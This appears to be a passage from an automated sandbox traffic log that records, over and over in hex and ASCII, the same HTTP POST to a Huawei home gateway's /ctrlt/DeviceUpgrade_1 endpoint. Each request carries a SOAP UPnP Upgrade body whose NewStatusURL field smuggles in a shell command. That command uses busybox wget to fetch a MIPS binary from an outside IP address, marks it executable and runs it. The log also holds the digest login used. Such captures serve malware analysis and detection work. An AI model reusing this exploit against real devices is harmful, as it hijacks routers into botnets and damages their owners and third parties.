6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 